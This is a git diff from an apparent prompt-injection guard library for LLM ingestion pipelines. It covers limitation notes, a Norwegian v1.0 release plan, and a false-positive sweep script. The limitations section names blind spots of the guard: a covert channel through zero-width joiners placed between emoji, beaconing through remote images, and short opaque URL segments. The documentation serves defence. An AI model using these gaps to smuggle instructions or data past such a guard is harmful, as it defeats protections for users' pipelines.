*read* past here". **The split itself is conceded for 1.x, not deferred.** It is
|
||||
a surface property, not calibration: making the two halves agree later means
|
||||
either raising where a caller gets a value today, or returning a truncated value
|
||||
where one raises — a change to an exported symbol's contract in either
|
||||
direction, therefore `2.0.0`. 1.x keeps the rule as stated: a surface that
|
||||
returns *content* rejects at the cap, a surface that returns *findings*
|
||||
truncates and says so.
|
||||
|
||||
## The six documented gaps (tracked by the coverage matrix)
|
||||
|
||||
These are asserted to *still hold* by `tests/test_coverage_matrix.py` — a closed gap
|
||||
|
|
@ -287,6 +687,81 @@ fails the test, forcing this doc to be updated:
|
|||
5. **Pure beaconing** — a bare-path remote image on a hostile host is LOW (above).
|
||||
6. **Short opaque URL segment (<24 chars)** — below what entropy can resolve (above).
|
||||
|
||||
- **`Severity` still carries disposition intent on the detection side.** The
|
||||
0.5.0 axis separation split the *assessment* (`Risk`) from the *action*
|
||||
(`Disposition`), but only on the caller side of the boundary. Inside the
|
||||
detectors, a finding's `Severity` is still calibrated partly for the
|
||||
disposition it will produce rather than purely for what was observed, and two
|
||||
places in the tree say so outright: `calibration.py`'s
|
||||
`ACTIVE_CONTENT_ORDINARY_SEVERITY = LOW` exists because grading an ordinary
|
||||
external image `HIGH` fail-secured ordinary uploads (measured on v0.3.0), and
|
||||
`disposition.py`'s quarantine floor was raised from *any finding* to *MEDIUM+*
|
||||
to repair the same regression from the other end. Both fixes are correct for
|
||||
the dispositions they produce; the cost is that an ordinary external image is
|
||||
recorded as low-severity rather than as *a real outward-fetch capability that
|
||||
is not evidence of an attack* — so no policy, however strict, can act on that
|
||||
capability, because the detector already decided it did not matter. Closing
|
||||
this means giving detectors a channel that says what was seen separately from
|
||||
how bad it is, which changes the grading and therefore fires the
|
||||
consumer-notification promise in `docs/PLAN-v1.md`. **Conceded for the whole of
|
||||
1.x, not deferred.** That channel changes `Finding` and `Severity`, which is a
|
||||
`2.0.0` change under the version contract, so 1.x ships with the coupling intact
|
||||
by decision rather than by omission. A caller that needs the capability
|
||||
separately from the grade must read the finding `id` — `active:markdown-image`
|
||||
names the outward fetch whatever severity it carries — and must not infer
|
||||
"nothing was seen" from a low `Severity`.
|
||||
|
||||
- **Under the default action map the assessment axis carries exactly one judgement
|
||||
the disposition does not.** `DEFAULT_ACTION_MAP` sends `NONE` and `LOW` to `WARN`,
|
||||
`ELEVATED` to `QUARANTINE_REVIEW` and `SEVERE` to `FAIL_SECURE` — the last two 1:1.
|
||||
So for any document that carries a finding at all, `assessment` is a relabelling of
|
||||
`disposition` and nothing more; the only thing it adds is *clean* versus *findings
|
||||
present, none dispositive in this context*, which 0.4.0 rendered identically. That
|
||||
collapse is the point (the map is what keeps the separation additive, so a caller
|
||||
ignoring the new axis sees no change), and it is also the limitation: reading
|
||||
`assessment` buys a consumer nothing until it supplies its own `action_map` or needs
|
||||
the clean/low distinction. **The second consequence is on this document.** The
|
||||
published false-positive rates are counts of documents *disposed non-WARN*, and they
|
||||
are a statement about assessed risk only while `NONE` + `LOW` are exactly the WARN
|
||||
pre-image. `tests/test_corpus.py::test_the_published_fp_metric_is_a_risk_statement`
|
||||
pins that equivalence — but it pins it for `DEFAULT_ACTION_MAP`. A caller running its
|
||||
own map makes "disposed non-WARN" a different claim from the one measured here, with
|
||||
nothing in either repo failing to say so.
|
||||
|
||||
- **A ZWJ hidden between two emoji is exempt, and ZWNJ's own false-positive
|
||||
class is untouched.** U+200D composes emoji (👩💻 is WOMAN + ZWJ + PERSONAL
|
||||
COMPUTER), so testing it on codepoint membership alone flagged *and stripped*
|
||||
the joiner in any document containing a ZWJ-composed emoji — an any-tier
|
||||
`FAIL_SECURE` carrier, plus silent decomposition of the emoji, on ordinary
|
||||
first-party content. The joiner is now judged by context instead: exempt only
|
||||
when **both** neighbours are emoji-context codepoints, measured to cover
|
||||
122/122 of the codepoints adjacent to a ZWJ across Unicode 17.0's 1614 RGI
|
||||
sequences. Two residuals follow. First, a joiner placed *between two emoji*
|
||||
is now invisible to the carrier check and could carry a covert channel — it
|
||||
costs an emoji per bit and cannot split a word, which is the shape the
|
||||
word-splitting attack needs, so the narrowing is deliberate rather than
|
||||
complete. Second, **U+200C (ZWNJ) still has no context test**, and it is
|
||||
orthographically *required* in Persian, Arabic and Devanagari — those
|
||||
documents remain hard-blocked. That is a separate criterion (script-based,
|
||||
not pictographic) and no corpus is available here to verify it against, so it
|
||||
is parked as a known false-positive class rather than guessed at.
|
||||
|
||||
- **That context test is one predicate on two surfaces, and the symbol carrying it is
|
||||
private.** `sanitize` owns `_is_joiner_in_emoji_sequence`; `output` imports it
|
||||
(`output.py:74`) instead of restating it, because the same defect had to be fixed on
|
||||
both surfaces and a split would let the input side stop flagging while the output
|
||||
side kept hard-blocking — or the reverse, which is how a carrier reaches a persisted
|
||||
artifact after passing the input gate. The agreement is pinned by
|
||||
`tests/test_output.py::test_output_zwj_narrowing_matches_the_sanitize_side`, which
|
||||
asserts `stripped == flagged` across six shapes — half-context on either side, a
|
||||
leading and a trailing joiner, one genuine in-sequence joiner, and a word split.
|
||||
Two things that pin does not give. The six shapes are hand-written rather than
|
||||
drawn from a corpus, so everywhere outside them
|
||||
the surfaces agree by *shared implementation*, not by test — which is the stronger
|
||||
guarantee only for as long as the import survives. And the leading underscore means
|
||||
the predicate is **not** part of the surface frozen under semver: a consumer that
|
||||
imports it is pinning a private name 1.x makes no promise about.
|
||||
|
||||
## Out-of-scope (documented boundary)
|
||||
|
||||
Embedding/vector-layer defenses (OWASP LLM08, downstream of persist); multimodal
|
||||
|
|
|
|||
104
docs/PLAN-v1.md
104
docs/PLAN-v1.md
|
|
@ -228,7 +228,18 @@ Nøkkelantakelser (+ test) · Verifisering. Testkommando alltid:
|
|||
→ +N grønne; `python -c "import tomllib,pathlib; d=tomllib.loads(pathlib.Path('pyproject.toml').read_text()); assert d['project']['dependencies']==[] and 'pypdf' in ' '.join(d['project']['optional-dependencies']['dev'])"` → exit 0.
|
||||
- **Avhengigheter:** uavhengig; kan gjøres når som helst før G.
|
||||
|
||||
### Session G — v1.0 freeze + release *(FRYSER Python-surfacen — Node-prereq)*
|
||||
### Session G — v1.0 freeze + release *(LANDET 2026-08-13)*
|
||||
|
||||
> **LANDET — `98ebc07`, tag `v1.0.0` pushet.** D1–D6 i `docs/GATE-G-v1.md` §6 tatt av
|
||||
> operatøren: frys på 0.7.0 (D2 i), `:492`/`:460`/`:88` konsedert i 1.x (D3/D5,
|
||||
> `e9d8fb2`), varslingsplikten fyrte ikke (D4 — begrunnelse over ved løfte 1),
|
||||
> `active_tag_class` er IKKE en pinnbar shape (D6). **Åtte flater bumpet for hånd;
|
||||
> den niende — Forge-beskrivelsen — ble VERIFISERT mot API-et og trengte ingen
|
||||
> endring** (178 kodepunkter, ingen versjon, ingen «alpha»). Klassifiseringssveipet
|
||||
> (421 treff) og `git show 98ebc07:README.md` kjørte begge FØR taggen, i den
|
||||
> rekkefølgen; anonym `pip install …@v1.0.0` i rent venv etter. Sveipet fant to
|
||||
> flater lista under ikke navnga: READMEs status-**badge** og ADOPTION-BRIEFs
|
||||
> testtall (`791` mot 792). 792 tester, 129/129, 6/6.
|
||||
|
||||
- **Mål:** shippe v1.0.0; fryse den offentlige surfacen som porten oversetter.
|
||||
- **Scope-grense:** ingen ny feature. Kun versjons-bump, CHANGELOG, tag, push.
|
||||
|
|
@ -241,13 +252,22 @@ Nøkkelantakelser (+ test) · Verifisering. Testkommando alltid:
|
|||
de øvrige (ms-ai-architect bygde sitt eget, `okr` er operatør-parkert).
|
||||
- **⚠️ GATEN KAN IKKE ÅPNES AV ET GRØNT SVAR ALENE — verifiser hvilken versjon som ble
|
||||
resolvet (funnet 2026-07-25, premiss-verifisering).** Setningen «v0.4.0 kjører grønt
|
||||
mot v0.3.1» var skrevet mot en pin vi ikke hadde lest. okf pinner guarden
|
||||
`>=0.2,<0.3` i `[project].dependencies` **og** `[tool.uv.sources]`-taggen til
|
||||
`v0.2.0` — verifisert på deres `v0.4.0`-tag OG deres HEAD (`4ea00a9`). `<0.3`
|
||||
ekskluderer både 0.3.0 og 0.3.1. Kjører de fixturene på et uendret tre, **feiler det
|
||||
ikke** — uv resolver v0.2.0, constrainten er tilfredsstilt, og fixturene kommer
|
||||
grønt tilbake fordi v0.2.0 aldri hadde regresjonen. Et grønt svar er dermed det
|
||||
ENESTE utfallet som intet forteller og ser ut som det forteller alt.
|
||||
mot v0.3.1» var skrevet mot en pin vi ikke hadde lest. Den gang pinnet okf guarden
|
||||
`>=0.2,<0.3` i `[project].dependencies` og `[tool.uv.sources]`-taggen til `v0.2.0`
|
||||
(verifisert på deres `v0.4.0`-tag og HEAD `4ea00a9`). `<0.3` ekskluderte både 0.3.0
|
||||
og 0.3.1, så et grønt svar var det ENESTE utfallet som intet forteller og ser ut som
|
||||
det forteller alt.
|
||||
**OPPDATERT PREMISS (2026-08-11, lest fra deres `pyproject.toml`, ikke fra en
|
||||
coord-melding):** okf står nå på `dependencies = ["llm-ingestion-guard>=0.3,<0.4"]`
|
||||
og `[tool.uv.sources]`-tagg `v0.3.4`. Det snur konsekvensen: en kjøring på et
|
||||
uendret tre resolver nå **v0.3.4**, som ligger *innenfor* det gaten ber om, ikke
|
||||
utenfor. Nullresultatet over er dermed borte — men to ting følger, og ingen av dem
|
||||
avgjøres her:
|
||||
- `<0.4` ekskluderer 0.4.0 **og** 0.5.0. Aksesplittelsen (`Risk`/`action_map`) og
|
||||
input-cap-refusjonen er per definisjon utenfor enhver måling okf gjør i dag.
|
||||
- Gaten er formulert som «passerer mot guard 0.3.1», og en kjøring i dag måler
|
||||
0.3.4. Om det teller som oppfylt er en **operatørbeslutning**, ikke en
|
||||
premissoppdatering, og den er bevisst ikke tatt i denne økten.
|
||||
**Gate-kravet, presist formulert (okf spurte rett ut 2026-07-25 — svaret er låst):**
|
||||
gaten krever at **fixture-settet passerer mot guard 0.3.1**, med den resolvede
|
||||
versjonen lest fra `importlib.metadata` ved kjøretid og oppgitt i resultatet. Gaten
|
||||
|
|
@ -260,19 +280,45 @@ Nøkkelantakelser (+ test) · Verifisering. Testkommando alltid:
|
|||
direkte fra `v0.3.1`-taggen, resolved versjon assertert) tilfredsstiller gaten.
|
||||
- **Transitiv ankomst teller IKKE som integrasjon** (portfolio-optimisers innsikt,
|
||||
2026-07-25). okf v0.4.0 gjør guarden til en OBLIGATORISK runtime-dep, så en
|
||||
konsument kan få oss i grafen uten å velge oss — og i dag lander de da på v0.2.0,
|
||||
uten 0.3.0-hardningen og uten 0.3.1-fiksen. Stille under-forsvar, ikke brudd. En
|
||||
konsument kan få oss i grafen uten å velge oss — og lander da på det okfs pin
|
||||
slipper inn, i dag v0.3.4 (var v0.2.0 da dette ble skrevet), altså uten
|
||||
aksesplittelsen og uten input-cap-refusjonen. Stille under-forsvar, ikke brudd. En
|
||||
konsument som fikk oss ved uhell måler ingenting med hensikt; grønt derfra beviser
|
||||
mindre enn rødt fra en som valgte oss.
|
||||
- **Filer:** `pyproject.toml` (`version = "1.0.0"`, `Development Status :: 3 → 5 -
|
||||
Production/Stable`); `README.md` badge + **`**Status:** \`v0.3\`, alpha`-linjen** +
|
||||
**install-pinnen `@v0.3.1`**; `__init__.py` `__version__`; `CHANGELOG.md`.
|
||||
- **Filer — NI current-state-flater, ikke fire (korrigert 2026-08-11).** Denne
|
||||
linjen listet fire, og 0.5.0-sveipet fant at fem til bar et versjonsutsagn ingen
|
||||
release noensinne hadde rørt. Én av dem sto allerede navngitt her (`**Status:**`-
|
||||
linjen) og ble likevel oversett i 0.4.0 — å føre en felle er ikke å anvende den.
|
||||
- `pyproject.toml` (`version`, + `Development Status :: 3 → 5 - Production/Stable`)
|
||||
- `src/llm_ingestion_guard/__init__.py` (`__version__`)
|
||||
- `README.md`: badge, `**Status:**`-linjen, install-pinnen
|
||||
- `SECURITY.md`: «pre-1.0 (`0.x.x`, alpha)» — den ENESTE med konsekvens for en
|
||||
utenforstående, siden den navngir støttevinduet. Ved 1.0.0 skal setningen ikke
|
||||
bumpes, den skal **skrives om**: «pre-1.0» er ikke lenger sant.
|
||||
- `docs/BRIEF.md` og `CLAUDE.md`: status-linjen (sistnevnte også modultallet)
|
||||
- `docs/ADOPTION-BRIEF.md`: status-linjen, «As of `vX.Y.Z`»-linjen, testtallet
|
||||
- Forge-beskrivelsen: ingen versjon, men ≤180 kodepunkter — verifiser mot API-et.
|
||||
**Sorteringen kommer FØR første redigering, og den er ufravikelig:** et sveip etter
|
||||
versjonsstrengen treffer også *målingsproveniens* («New in v0.4.0», «verified
|
||||
identical on 0.2.0 and 0.3.1», «measured against the v0.3.1 tag», hver «post-0.4.0
|
||||
tree» i LIMITATIONS). De skal ALDRI bumpes — det falsifiserer journalen i stedet for
|
||||
å oppdatere den. Derfor kan dette ikke være et `sed`-sveip.
|
||||
**NB — entryen kan ikke lenger «liste A-F»:** A/A2/B ligger allerede ute under
|
||||
`[0.3.0]`. `[1.0.0]` skal referere `[0.3.0]` + `[0.3.1]` for atferdsendringene og selv bære
|
||||
frysepunktet (API-stabilitet + det integrasjonen beviste), ikke gjenta dem.
|
||||
- **TDD-plan:** ingen ny test; hele suiten grønn er release-gaten.
|
||||
- **Nøkkelantakelser (+ test):** *«alle versjonsreferanser er synkrone.»* Test:
|
||||
grep alle fire filer for versjonsstreng, bekreft `1.0.0` overalt.
|
||||
- **Nøkkelantakelser (+ test):** *«alle versjonsreferanser er synkrone.»* Testen
|
||||
«grep alle fire filer» holdt ikke — den forutsatte listen den skulle verifisere.
|
||||
Erstattet av to sjekker som gjøres FØR taggen finnes (rekkefølgen er poenget —
|
||||
v0.4.0 verifiserte etter, og bærer derfor feil README permanent):
|
||||
1. `git grep -n -E 'v?0\.[0-9]+(\.[0-9]+)?'` over ALLE sporede filer, hvert treff
|
||||
klassifisert current-state eller proveniens. Ingen current-state-treff igjen
|
||||
som ikke sier `1.0.0`.
|
||||
2. `git show <pre-tagg-sha>:README.md` — den beviser hva taggen kommer til å bære.
|
||||
En vellykket install fra sha-en beviser bare at pakken bygger; teksten er en
|
||||
annen påstand. Begge kjøres, i den rekkefølgen, og taggen settes etterpå.
|
||||
Etter taggen: kjør install-blokka **ordrett slik README-en trykker den** (anonym
|
||||
https mot `open/`-speilet, mot `@v1.0.0`) — det er kommandoen en fremmed utfører.
|
||||
- **Verifisering:**
|
||||
- `PYTHONPATH=src .venv/bin/pytest` → alle grønne.
|
||||
- `grep -rn "1\.0\.0" pyproject.toml README.md src/llm_ingestion_guard/__init__.py CHANGELOG.md` → treffer i alle fire; `grep -rn "0\.3\.0" …` → ingen dangling ref utenfor CHANGELOG-historikken.
|
||||
|
|
@ -291,7 +337,21 @@ Nøkkelantakelser (+ test) · Verifisering. Testkommando alltid:
|
|||
> (128/128 recall, 6/6 gap holder), anonym ren-venv-install av `@v0.3.1` verifisert.
|
||||
> Nye residualer skrevet inn i `docs/LIMITATIONS.md` (beaconing, kort opak URL-del,
|
||||
> percent-escape-FP) og asserteres av matrisen. Alle 7 varslede repo har fått MÅLINGENE.
|
||||
> **Neste: Session G.** 0.4.0 er akse-separasjon (deteksjon ≠ disposisjon), ikke ny preset.
|
||||
> **Neste: akse-separasjonen** (deteksjon ≠ disposisjon), ikke ny preset.
|
||||
>
|
||||
> **RETTET 2026-08-10 — denne linja sa «Neste: Session G» og var en felle.**
|
||||
> «Session G» er en skrevet seksjon lenger opp (`:231`) og den er *v1.0 freeze +
|
||||
> release* — noe helt annet. Det fantes ALDRI en skrevet plan-seksjon for
|
||||
> akse-separasjonen; pekeren traff denne ene framoverlinja, og en økt som fulgte
|
||||
> den ville designet mot feil seksjon. Tallet ble heller ikke 0.4.0: **0.4.0 gikk
|
||||
> til input-cappen (operatørvalg 08-10), og akse-separasjonen landet som del av
|
||||
> 0.5.0-arbeidet.** Den er nå BYGD og committet — se `CHANGELOG.md`
|
||||
> `[Unreleased]` for hva den faktisk ble (`Risk`-aksen, `Policy.action_map`,
|
||||
> `DispositionResult.assessment`), målt additiv: 703 → 715 tester uten at én
|
||||
> eksisterende test ble endret, matrise 128/128 + 6/6, og `PRESET_USER_UPLOAD`-
|
||||
> tabellen på `:288-290` re-målt rad for rad uendret. **Begge låste løfter under
|
||||
> `:370` ble målt mot det og fyrer IKKE.** 0.5.0 er ikke tagget: taggen venter på
|
||||
> en release-commit som bærer alle fem versjonsflater samtidig.
|
||||
|
||||
- **Mål:** gjøre den utrustede upload-stien brukbar igjen uten å miste EchoLeak-
|
||||
deteksjonen, og lukke testgatens blindfelt som slapp regresjonen forbi 522 grønne tester.
|
||||
|
|
@ -379,6 +439,18 @@ ikke en preferanse.**
|
|||
og bygger på 0.3.1-formen; en stille re-stramming lander som produksjonsincident hos
|
||||
dem, ikke som en release-note. Gjelder også 0.4.0: akse-separasjonen skal endre
|
||||
DISPOSISJON, ikke graderingen — viser det seg feil under scoping, fyrer løftet.
|
||||
> **D4, avgjort av operatøren 2026-08-13 ved v1.0-frysen: løftet fyrte IKKE av
|
||||
> rå-HTML-bevegelsen 0.3.1→0.7.0, og intet etterskuddsvarsel gikk ut.**
|
||||
> Begrunnelsen styrer, ikke ordlyden. Løftets formål er navngitt i teksten over:
|
||||
> en stille re-**stramming** lander som produksjonsincident hos dem. Alle fire
|
||||
> ordinære markdown-former er målt IDENTISKE 0.3.1 vs 0.7.0 (WARN/LOW, før/etter i
|
||||
> samme økt, `docs/GATE-G-v1.md` §4); de fire radene som flyttet seg LØSNET alle
|
||||
> (`<a href>` HIGH→MEDIUM, `<a aria-label>` og `</a>` HIGH→rent, ZWJ-emoji
|
||||
> HIGH→rent). En løsning kan ikke produsere incidenten løftet finnes for å hindre.
|
||||
> **Ordlyden («enhver endring») pekte motsatt vei, og det er den reelle
|
||||
> motforestillingen** — hadde den styrt, var varselet uteblitt i tre utgivelser.
|
||||
> Nedtegnet her, ikke i `STATE.md`, nettopp av grunnen seksjonen selv oppgir: et
|
||||
> fravær uten begrunnelse er ikke til å skille fra at vi glemte det.
|
||||
2. **Relativ-mål-asymmetrien** (relative lenker/bilder i en OKF-bundle flagges ikke) —
|
||||
lukkes den, får `llm-ingestion-okf` varsel **før** det shippes. Den er en Door
|
||||
C-egenskap, ikke et guard-gap: et merget konsept skrives VERBATIM, så vi reparerer
|
||||
|
|
|
|||
233
docs/fp-sweep.py
Normal file
233
docs/fp-sweep.py
Normal file
|
|
@ -0,0 +1,233 @@
|
|||
"""False-positive sweep — run *benign* document populations through the persist
|
||||
gate and count the ones it does not wave through.
|
||||
|
||||
WHAT THE NUMBER MEANS, EXACTLY. The unit is a **document**, not a URL, and the
|
||||
metric is `screen_output(doc, PRESET_USER_UPLOAD).disposition is not WARN`. Every
|
||||
word of that is load-bearing:
|
||||
|
||||
- **Document, not URL.** `docs/LIMITATIONS.md` also carries URL-level field
|
||||
measurements (16 of 16, 28 of 28, 149 of 1694). Those are a different unit over
|
||||
partly-overlapping corpora. A document rate is NOT comparable to them and must
|
||||
never be combined with them, or quoted as an update to them.
|
||||
- **The upload preset, not the trusted one.** `PRESET_TRUSTED_SOURCE` will hand
|
||||
you a beautiful near-zero and mean nothing: every non-CRITICAL finding WARNs
|
||||
under trust, which is exactly the structural blindness that let the 0.3.0
|
||||
active-content regression ship through a green suite (see the docstring on
|
||||
`tests/test_corpus.py::test_false_positive_is_not_blocked_on_the_upload_gate`).
|
||||
The trusted door is printed as a footnote, never as the headline.
|
||||
- **`screen_output`, not `_scan_input`.** The output gate is where
|
||||
`active_content` lives; the input path never reaches it.
|
||||
- **not WARN**, not "has findings". A finding is not a false positive — the
|
||||
library reports and the pipeline decides (BRIEF design principle 4). WARN means
|
||||
*persisted, with a note*, which is the benign outcome.
|
||||
|
||||
GROUND TRUTH for "benign" is **provenance, not inspection**: nobody hand-read
|
||||
these documents. Each population is benign by where it came from — vendor-
|
||||
published documentation, this machine's own generated notes, first-party authored
|
||||
reference material. That is the only ground truth available at this scale, and it
|
||||
is a real caveat, not a formality: an injected document sitting in a harvested
|
||||
corpus would be scored as a false positive here.
|
||||
|
||||
POPULATIONS ARE NEVER SUMMED. Every population has its own denominator and its
|
||||
own provenance; a pooled rate would be arithmetic over incommensurable things and
|
||||
would inherit the `2400 != 2401` defect one level up. This script refuses to print
|
||||
a total.
|
||||
|
||||
USAGE — corpus roots are arguments, never hardcoded; the corpora live in private
|
||||
consumer repos and their paths must not reach a public mirror:
|
||||
|
||||
python docs/fp-sweep.py LABEL=/path/to/corpus [LABEL=/path ...]
|
||||
[--ext=.md,.txt] [--include=/subtree/]
|
||||
|
||||
Each LABEL should name the population's *class* (`vendor-harvest`,
|
||||
`generated-notes`, `reference-corpus`), not the repo it came from.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import sys
|
||||
from collections import Counter
|
||||
from pathlib import Path
|
||||
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parent.parent / "src"))
|
||||
|
||||
from llm_ingestion_guard import ( # noqa: E402
|
||||
DEFAULT_ACTION_MAP,
|
||||
PRESET_TRUSTED_SOURCE,
|
||||
PRESET_USER_UPLOAD,
|
||||
Disposition,
|
||||
Risk,
|
||||
Source,
|
||||
__version__,
|
||||
scan_output,
|
||||
screen_output,
|
||||
severity_rank,
|
||||
)
|
||||
from llm_ingestion_guard.calibration import RISK_RANK # noqa: E402
|
||||
|
||||
BENIGN = Disposition.WARN
|
||||
"""The benign outcome: persisted, with a note. Anything else costs a human."""
|
||||
|
||||
|
||||
def check_metric_is_a_risk_statement() -> None:
|
||||
"""Fail loudly if "not WARN" has stopped meaning "assessed ELEVATED or worse".
|
||||
|
||||
The published number is a count of non-WARN documents, but what it *claims*
|
||||
is a statement about assessed risk. The two are the same statement only while
|
||||
the default action map sends exactly `NONE` and `LOW` to WARN. Re-map that
|
||||
and the published number silently changes meaning with no test failing — the
|
||||
method trap this script exists to stay out of. Mirrored in the suite by
|
||||
`tests/test_corpus.py::test_the_published_fp_metric_is_a_risk_statement`.
|
||||
"""
|
||||
elevated = RISK_RANK[Risk.ELEVATED.value]
|
||||
for risk in Risk:
|
||||
benign = DEFAULT_ACTION_MAP[risk] is BENIGN
|
||||
below = RISK_RANK[risk.value] < elevated
|
||||
if benign != below:
|
||||
raise SystemExit(
|
||||
f"metric invalid: {risk.value} maps to "
|
||||
f"{DEFAULT_ACTION_MAP[risk].value}; 'not WARN' no longer means "
|
||||
"'assessed ELEVATED or worse' and the published rate would be "
|
||||
"a different claim than the doc makes"
|
||||
)
|
||||
|
||||
|
||||
def documents(root: Path, exts: tuple[str, ...], include: str = "") -> list[Path]:
|
||||
"""Every non-hidden file under ``root`` with a wanted extension.
|
||||
|
||||
``include`` is a substring the *relative* path must contain, so a population
|
||||
can be scoped to a subtree (`--include=/references/`) without pretending a
|
||||
differently-scoped count is the same population. Two scopings of one tree are
|
||||
two counts, and the difference between them is exactly the kind of thing
|
||||
`docs/LIMITATIONS.md` has had to correct in public before.
|
||||
"""
|
||||
files = []
|
||||
for p in sorted(root.rglob("*")):
|
||||
if not p.is_file() or p.suffix not in exts:
|
||||
continue
|
||||
rel = p.relative_to(root)
|
||||
if any(part.startswith(".") for part in rel.parts):
|
||||
continue
|
||||
if include and include not in f"/{rel}":
|
||||
continue
|
||||
files.append(p)
|
||||
return files
|
||||
|
||||
|
||||
def measure(label: str, root: Path, exts: tuple[str, ...], include: str = "") -> dict:
|
||||
paths = documents(root, exts, include)
|
||||
dispositions: Counter[str] = Counter()
|
||||
assessments: Counter[str] = Counter()
|
||||
trusted_dispositions: Counter[str] = Counter()
|
||||
labels: Counter[str] = Counter()
|
||||
drivers: Counter[str] = Counter()
|
||||
offenders: list[tuple[str, str, tuple[str, ...]]] = []
|
||||
empty = 0
|
||||
|
||||
for path in paths:
|
||||
text = path.read_text(encoding="utf-8", errors="replace")
|
||||
if not text.strip():
|
||||
empty += 1
|
||||
continue
|
||||
result = screen_output(text, PRESET_USER_UPLOAD)
|
||||
dispositions[result.disposition.value] += 1
|
||||
assessments[result.assessment.value] += 1
|
||||
trusted_dispositions[
|
||||
screen_output(text, PRESET_TRUSTED_SOURCE).disposition.value
|
||||
] += 1
|
||||
|
||||
if result.disposition is not BENIGN:
|
||||
findings = scan_output(text, source=Source.OUTPUT).findings
|
||||
found = tuple(sorted({f.label for f in findings}))
|
||||
labels.update(found)
|
||||
# What actually moved this document: the labels at its *worst*
|
||||
# severity. A histogram of every label present would credit the
|
||||
# over-block to whatever else happened to be in the document, which
|
||||
# is how a residual gets blamed on the lexicon.
|
||||
worst = max((severity_rank(f.severity) for f in findings), default=-1)
|
||||
drivers[" + ".join(sorted({
|
||||
f.label for f in findings if severity_rank(f.severity) == worst
|
||||
})) or "(no findings)"] += 1
|
||||
offenders.append((path.name, result.disposition.value, found))
|
||||
|
||||
n = sum(dispositions.values())
|
||||
return {
|
||||
"label": label,
|
||||
"n": n,
|
||||
"empty": empty,
|
||||
"dispositions": dispositions,
|
||||
"assessments": assessments,
|
||||
"trusted": trusted_dispositions,
|
||||
"labels": labels,
|
||||
"drivers": drivers,
|
||||
"offenders": offenders,
|
||||
"non_warn": n - dispositions[BENIGN.value],
|
||||
}
|
||||
|
||||
|
||||
def report(m: dict) -> None:
|
||||
n, non_warn = m["n"], m["non_warn"]
|
||||
rate = f"{non_warn / n:.1%}" if n else "n/a"
|
||||
print(f"\n## {m['label']} — {non_warn} of {n} documents disposed non-WARN ({rate})")
|
||||
if m["empty"]:
|
||||
print(f" ({m['empty']} empty file(s) skipped — no document, no verdict)")
|
||||
print(" upload gate :", dict(m["dispositions"]))
|
||||
print(" assessment :", dict(m["assessments"]))
|
||||
print(" trusted gate :", dict(m["trusted"]), " <- footnote only, structurally blind")
|
||||
if m["drivers"]:
|
||||
print(" what MOVED them (labels at each document's worst severity):")
|
||||
for label, count in m["drivers"].most_common():
|
||||
print(f" {count:5d} {label}")
|
||||
if m["labels"]:
|
||||
print(" what was merely present on them:")
|
||||
for label, count in m["labels"].most_common():
|
||||
print(f" {count:5d} {label}")
|
||||
for name, disposition, found in m["offenders"][:10]:
|
||||
print(f" - {name}: {disposition} via {', '.join(found) or '(no labels)'}")
|
||||
if len(m["offenders"]) > 10:
|
||||
print(f" ... and {len(m['offenders']) - 10} more")
|
||||
|
||||
|
||||
def main() -> None:
|
||||
argv = sys.argv[1:]
|
||||
exts = (".md", ".txt")
|
||||
include = ""
|
||||
rest = []
|
||||
for arg in argv:
|
||||
if arg.startswith("--ext="):
|
||||
exts = tuple(e if e.startswith(".") else f".{e}"
|
||||
for e in arg.split("=", 1)[1].split(","))
|
||||
elif arg.startswith("--include="):
|
||||
include = arg.split("=", 1)[1]
|
||||
else:
|
||||
rest.append(arg)
|
||||
|
||||
if not rest:
|
||||
print(__doc__)
|
||||
raise SystemExit(2)
|
||||
|
||||
check_metric_is_a_risk_statement()
|
||||
print(f"llm-ingestion-guard {__version__} — persist gate, PRESET_USER_UPLOAD")
|
||||
print("metric: disposition is not WARN (== assessed ELEVATED or worse)")
|
||||
print(f"extensions: {', '.join(exts)}")
|
||||
|
||||
measurements = []
|
||||
for spec in rest:
|
||||
if "=" not in spec:
|
||||
raise SystemExit(f"expected LABEL=PATH, got {spec!r}")
|
||||
label, _, path = spec.partition("=")
|
||||
root = Path(path).expanduser()
|
||||
if not root.is_dir():
|
||||
raise SystemExit(f"{label}: {root} is not a directory")
|
||||
measurements.append(measure(label, root, exts, include))
|
||||
|
||||
for m in measurements:
|
||||
report(m)
|
||||
|
||||
print("\n---")
|
||||
print("Populations are reported separately by construction. They have "
|
||||
"different\nprovenance and different denominators; a pooled rate would "
|
||||
"be arithmetic over\nincommensurable things. This script prints no total.")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
312
docs/rawhtml-census.py
Normal file
312
docs/rawhtml-census.py
Normal file
|
|
@ -0,0 +1,312 @@
|
|||
"""raw-HTML census — which branch of `active_tag_class` fires, and what a change costs.
|
||||
|
||||
`docs/fp-sweep.py` answers *how often* the upload door costs a human. This answers
|
||||
*why*, for the one detector that drives most of it, and *what a proposed narrowing
|
||||
would actually buy* — end to end, as a change in `screen_output` disposition, not as
|
||||
a count of regex hits.
|
||||
|
||||
WHY THIS EXISTS. `docs/LIMITATIONS.md` once attributed `active:raw-html` in 52 of
|
||||
vendor-harvest's 98 non-WARN documents to the relative-URL-attribute over-reach.
|
||||
Re-measured, that over-reach frees **one** document there. The claim was reasoning,
|
||||
not measurement, and it stood in a published file for three releases. This script is
|
||||
the measurement, so the next person changing that detector argues with numbers.
|
||||
|
||||
TWO METHOD TRAPS IT EXISTS TO AVOID:
|
||||
|
||||
- **Over-reach classes co-occur.** In one corpus, narrowing the URL-attribute branch
|
||||
alone frees 3 documents and taking `<base>` off the name branch alone frees 13 —
|
||||
but both together free 25. A document blocked by two classes is freed by neither
|
||||
alone. Measure candidates you intend to ship *together*, never one at a time.
|
||||
- **Two of the three published populations are LIVING corpora**, re-harvested by
|
||||
their owning repo. A before/after split across two sessions mixes the narrowing's
|
||||
effect with corpus drift. Every candidate here runs against the same corpus state
|
||||
in one process, and `base` is re-measured rather than quoted from the doc.
|
||||
|
||||
The candidates are applied by replacing `active_content.active_tag_class`
|
||||
in-process, which mirrors a real edit to the *scanner*. Since 0.6.0 that is the
|
||||
whole story: `neutralize` calls its own `is_defangable_tag`, so patching this
|
||||
symbol cannot move the mutator. Before 0.6.0 the two shared one symbol and this
|
||||
caveat read the other way. See the raw-HTML bullets in `docs/LIMITATIONS.md`.
|
||||
|
||||
The patch point was `is_active_tag` through 0.6.1, when a candidate could only
|
||||
answer yes/no. 0.7.0 grades raw HTML on carrier as well, so a candidate returns a
|
||||
